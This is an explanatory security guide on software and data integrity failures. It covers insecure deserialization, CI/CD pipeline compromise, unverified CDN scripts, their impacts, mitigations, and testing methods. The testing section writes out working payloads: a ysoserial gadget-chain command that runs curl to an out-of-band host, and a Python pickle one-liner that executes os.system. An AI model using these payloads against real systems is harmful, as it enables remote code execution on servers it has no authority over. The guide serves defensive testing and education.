Software and Data Integrity Failures

Software and Data Integrity Failures occur when an application relies on software updates, critical data, or CI/CD pipelines without verifying their integrity. This vulnerability category addresses the trust assumptions applications make about the code they execute, the data they process, and the infrastructure that delivers them. When integrity verification is missing, attackers can inject malicious code, tamper with data in transit, or compromise build and deployment pipelines to deliver backdoored releases to production.

This category, introduced in the OWASP Top 10 2021, merges the previous "Insecure Deserialization" category with broader integrity concerns. It recognizes that modern applications face integrity threats at multiple levels: the code running in production (was it built from the expected source?), the data being processed (has it been tampered with?), the dependencies being used (are they the legitimate versions?), and the deployment pipeline itself (has the CI/CD system been compromised?).

Common manifestations of software and data integrity failures include:

• Insecure deserialization where the application deserializes untrusted data without validation, enabling Remote Code Execution, privilege escalation, or injection attacks
• Software updates delivered without digital signature verification, allowing man-in-the-middle attackers to inject malicious updates
• CI/CD pipeline vulnerabilities where insufficient access controls or integrity checks allow unauthorized code to enter the build and deployment process
• Unsigned or unverified artifacts in the deployment pipeline: container images, packages, configuration files, and infrastructure-as-code templates
• Data integrity failures where critical application data (prices, permissions, configurations) can be modified without detection through missing checksums or HMAC verification
• Object injection through serialization formats (PHP serialize, Java ObjectInputStream, Python pickle, .NET BinaryFormatter) that automatically instantiate objects from attacker-controlled input
• CDN or third-party script inclusion without Subresource Integrity (SRI) verification

Insecure deserialization is one of the most dangerous vulnerability types in this category, often leading directly to Remote Code Execution. Many programming languages support serialization, the process of converting objects to a byte stream for storage or transmission. When an application deserializes data from an untrusted source, an attacker can craft a malicious serialized object that exploits the deserialization process to execute arbitrary code. In Java, this is known as a "gadget chain" attack, where the attacker constructs a chain of existing classes in the application's classpath that, when deserialized, trigger arbitrary code execution:

// Vulnerable Java deserialization
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // Dangerous - executes attacker's gadget chain

Tools like ysoserial generate payloads for various Java library gadget chains (Commons Collections, Spring, Groovy). Similar attacks exist in PHP (unserialize() with magic methods like __wakeup() and __destruct()), Python (pickle.loads() which can execute arbitrary Python code), .NET (BinaryFormatter, XmlSerializer), and Ruby (Marshal.load). The impact is typically full Remote Code Execution on the application server.

CI/CD pipeline attacks exploit the trust placed in the build and deployment infrastructure. If an attacker compromises a CI/CD system (through stolen credentials, misconfigured permissions, or vulnerable pipeline plugins), they can modify the build process to inject backdoors, exfiltrate secrets, or deploy malicious code to production. For example, modifying a GitHub Actions workflow to add a step that sends environment variables (which often contain database credentials, API keys, and cloud credentials) to an attacker-controlled server. Pipeline attacks are particularly dangerous because the injected code passes through all normal deployment gates and appears as a legitimate release.

Third-party script injection through CDNs is another integrity threat. Modern web applications frequently load JavaScript libraries from CDNs. If the CDN is compromised or the application doesn't verify script integrity, an attacker can modify the served JavaScript to inject keyloggers, cryptocurrency miners, or credential-stealing code that runs in every user's browser. Without Subresource Integrity (SRI) attributes, the browser cannot detect that the script has been tampered with.

• Remote Code Execution through insecure deserialization, giving attackers complete control of application servers with the ability to read secrets, install backdoors, and pivot to internal networks
• Supply chain compromise through CI/CD pipeline attacks, potentially affecting all users of the application when backdoored code is deployed to production
• Data tampering where attackers modify pricing, permissions, configuration, or business-critical data without detection due to missing integrity verification
• Mass client-side compromise through tampered CDN scripts, affecting all users who load the compromised JavaScript libraries
• Persistent backdoors installed through compromised deployment pipelines that survive application updates because the backdoor is part of the build output
• Credential theft and secret exfiltration from CI/CD environments that typically have access to production database credentials, API keys, and cloud provider tokens
• Compliance violations where data integrity requirements (SOX for financial data, HIPAA for healthcare, FDA 21 CFR Part 11 for pharmaceutical) cannot be demonstrated
• Privilege escalation through deserialization attacks that create objects with elevated permissions or bypass authentication checks

1. Never deserialize data from untrusted sources. If deserialization is absolutely necessary, use safe serialization formats like JSON (which does not support object instantiation) instead of native serialization formats (Java ObjectInputStream, Python pickle, PHP serialize). If native deserialization is required, implement allowlist-based type filtering (Java's ObjectInputFilter, .NET's SerializationBinder).
2. Implement digital signatures for all software updates, packages, and deployment artifacts. Verify signatures before installation or execution. Use tools like Sigstore/cosign for container image signing, GPG for package signing, and code signing certificates for application binaries. Never install software from unverified sources.
3. Secure your CI/CD pipeline with least-privilege access, mandatory code review (requiring approvals from multiple reviewers), branch protection rules, signed commits, and audit logging. Use ephemeral build environments that are destroyed after each run. Store secrets in dedicated secrets management systems (HashiCorp Vault, AWS Secrets Manager), never in pipeline configuration.
4. Implement Subresource Integrity (SRI) for all third-party scripts and stylesheets loaded from CDNs: <script src="https://cdn.example.com/lib.js" integrity="sha384-ABC123..." crossorigin="anonymous"></script>. Generate integrity hashes using shasum or the SRI Hash Generator and update them when intentionally upgrading library versions.
5. Implement data integrity verification using HMAC or digital signatures for critical data: pricing information, user permissions, API responses between services, and configuration files. Verify integrity before processing. Use tamper-evident data structures for audit logs and financial records.
6. Monitor serialization endpoints for anomalous payloads. Deploy Web Application Firewalls (WAF) with rules to detect common deserialization attack patterns (ysoserial payloads, PHP object injection patterns). Log and alert on deserialization errors which may indicate attack attempts.
7. Implement pipeline-as-code with version control and mandatory review for all CI/CD configuration changes. Use SLSA (Supply-chain Levels for Software Artifacts) framework to establish provenance and build integrity. Generate build attestations that cryptographically link build outputs to their source code and build environment.
8. Regularly audit third-party integrations and their integrity mechanisms. Review webhook signature verification, API response validation, and trust relationships with external services. Ensure that data received from third parties is validated and sanitized before use.

Testing for software and data integrity failures requires examining both the application code and the surrounding infrastructure. For insecure deserialization testing, first identify all locations where the application accepts serialized data: cookies, hidden form fields, API parameters, file uploads, and message queues. Look for indicators of serialized objects: Java serialized objects start with AC ED 00 05 (hex) or rO0AB (base64), PHP serialized strings contain patterns like O:4:"User":3:{, Python pickle data starts with \x80\x04\x95, and .NET BinaryFormatter data contains .NET type names.

Once a deserialization endpoint is identified, test for exploitation using framework-specific tools. For Java, use ysoserial to generate payloads for various gadget chains: java -jar ysoserial.jar CommonsCollections6 'curl https://collaborator.burp' | base64. For PHP, use PHPGGC to generate gadget chain payloads. For Python pickle, craft a payload that executes arbitrary code: import pickle, os; pickle.dumps(type('X', (), {'__reduce__': lambda self: (os.system, ('id',))})()). Send the serialized payload to the identified endpoint and monitor for out-of-band interactions using Burp Collaborator or interactsh.

For CI/CD and deployment integrity testing, review pipeline configurations for security weaknesses: secrets stored in plaintext, overly permissive access controls, missing branch protection, use of unverified third-party actions/plugins, and lack of artifact signing. Check if container images are pulled by tag (mutable) or by digest (immutable). Verify that SRI hashes are present on all externally-loaded scripts and stylesheets. Test data integrity by intercepting and modifying data between services (using Burp Suite as a proxy) to determine whether the application detects tampering. Review whether webhook endpoints verify signatures from their sources (Stripe, GitHub, etc.).